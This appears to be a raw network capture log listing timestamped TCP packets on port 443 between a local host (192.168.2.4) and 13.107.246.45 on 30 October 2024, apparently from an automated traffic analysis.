Oct 30, 2024 02:28:17.216528893 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.216625929 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.216639042 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.299746990 CET	49873	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.299753904 CET	443	49873	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.351125956 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.351301908 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.351392984 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.351515055 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.351515055 CET	49877	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.351568937 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.351594925 CET	443	49877	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.354254007 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.354269981 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.354352951 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.354502916 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.354516029 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.718859911 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.719320059 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.719333887 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.719917059 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.719923019 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.731424093 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.731956959 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.731987953 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.732422113 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.732429981 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.847024918 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.847166061 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.847264051 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.847327948 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.847333908 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.847377062 CET	49878	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.847381115 CET	443	49878	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.849387884 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.849740982 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.849756956 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.849822044 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.849860907 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.849945068 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.850032091 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.850043058 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.850153923 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.850159883 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.860723972 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.860795021 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.860862017 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.860908985 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.860939026 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.861092091 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.861092091 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.861092091 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.862989902 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.863015890 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.863089085 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.863199949 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.863214970 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.955254078 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.955584049 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.955602884 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.956049919 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.956056118 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.978126049 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.978295088 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.978383064 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.979371071 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.979382038 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.979414940 CET	49880	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.979419947 CET	443	49880	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.982009888 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.982048035 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:17.982131958 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.982271910 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:17.982287884 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.065363884 CET	49879	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.065431118 CET	443	49879	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.089648962 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.089737892 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.089788914 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.090061903 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.090080976 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.090096951 CET	49881	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.090104103 CET	443	49881	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.093281031 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.093295097 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.093369961 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.093796015 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.093807936 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.107758045 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.108133078 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.108149052 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.108591080 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.108596087 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.239156008 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.239295006 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.239378929 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.239476919 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.239484072 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.239494085 CET	49882	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.239499092 CET	443	49882	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.241863966 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.241897106 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.241966963 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.242115974 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.242130995 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.573482990 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.574016094 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.574028969 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.574477911 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.574481964 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.595882893 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.596174002 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.596194983 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.596518993 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.596524954 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700081110 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700154066 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700201988 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.700215101 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700259924 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700306892 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.700443983 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.700463057 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.700473070 CET	49883	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.700478077 CET	443	49883	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.703403950 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.703493118 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.703564882 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.703768969 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.703804016 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.722951889 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.723407030 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.723417997 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.723927021 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.723932028 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.725102901 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.725243092 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.725298882 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.725393057 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.725400925 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.725409985 CET	49884	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.725414991 CET	443	49884	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.728095055 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.728117943 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.728185892 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.728336096 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.728348970 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.832683086 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.833015919 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.833029985 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.833359957 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.833364964 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854031086 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854094982 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854140997 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.854151011 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854192972 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854238987 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.854285002 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.854300976 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.854311943 CET	49885	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.854317904 CET	443	49885	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.857423067 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.857456923 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.857522964 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.857718945 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.857762098 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.986788988 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.987411022 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.987425089 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:18.988020897 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:18.988027096 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.010997057 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.011147976 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.011207104 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.011328936 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.011336088 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.011343956 CET	49886	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.011348009 CET	443	49886	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.013989925 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.014014006 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.014081001 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.014249086 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.014265060 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117177963 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117245913 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117302895 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.117316961 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117372036 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117422104 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.117605925 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.117624044 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.117647886 CET	49887	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.117655039 CET	443	49887	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.120321989 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.120347977 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.120409966 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.120534897 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.120548964 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.436167002 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.436644077 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.436683893 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.437155962 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.437171936 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.471431971 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.471817970 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.471829891 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.472208023 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.472213984 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.564642906 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.564805984 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.564918995 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.564974070 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.564974070 CET	49888	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.565009117 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.565032959 CET	443	49888	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.567637920 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.567743063 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.567837000 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.568006039 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.568041086 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601284981 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601752043 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601847887 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.601860046 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601883888 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601949930 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.601964951 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601977110 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.601977110 CET	49889	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.601983070 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.601990938 CET	443	49889	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.603885889 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.603916883 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.603984118 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.604100943 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.604111910 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.633678913 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.637089014 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.637125969 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.637439966 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.637453079 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.764121056 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.764621019 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.764631033 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.765047073 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.765052080 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.771838903 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.771914959 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.771966934 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.772135019 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.772135019 CET	49890	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.772161007 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.772182941 CET	443	49890	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.774899960 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.774960995 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.775043964 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.775207996 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.775233984 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.854002953 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.854461908 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.854480028 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.854896069 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.854901075 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.904443026 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.905004025 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.905051947 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.905060053 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.905086040 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.905139923 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.905162096 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.905162096 CET	49891	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.905169010 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.905174971 CET	443	49891	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.907839060 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.907860994 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.908050060 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.908204079 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.908217907 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.983349085 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.983426094 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.983480930 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.983753920 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.983764887 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.983774900 CET	49892	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.983779907 CET	443	49892	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.986041069 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.986076117 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:19.986140966 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.986260891 CET	49897	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:19.986270905 CET	443	49897	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.315746069 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.317289114 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.317339897 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.317718983 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.317733049 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.331213951 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.333045006 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.333069086 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.333420992 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.333426952 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.449850082 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.450031996 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.450135946 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.450373888 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.450404882 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.450454950 CET	49893	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.450472116 CET	443	49893	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.453145027 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.453170061 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.453250885 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.453378916 CET	49898	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.453392029 CET	443	49898	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.459270954 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.459361076 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.461157084 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.461186886 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.461194992 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.461205006 CET	49894	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.461209059 CET	443	49894	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.463188887 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.463219881 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.463318110 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.463561058 CET	49899	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.463570118 CET	443	49899	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.517625093 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.521219015 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.521254063 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.521637917 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.521650076 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.644763947 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.648966074 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649033070 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649096966 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.649122953 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649153948 CET	443	49895	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649215937 CET	49896	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.649226904 CET	443	49896	13.107.246.45	192.168.2.4
Oct 30, 2024 02:28:20.649255037 CET	49895	443	192.168.2.4	13.107.246.45
Oct 30, 2024 02:28:20.649647951 CET	49896	443	192.168.2.4	13.107.246.45
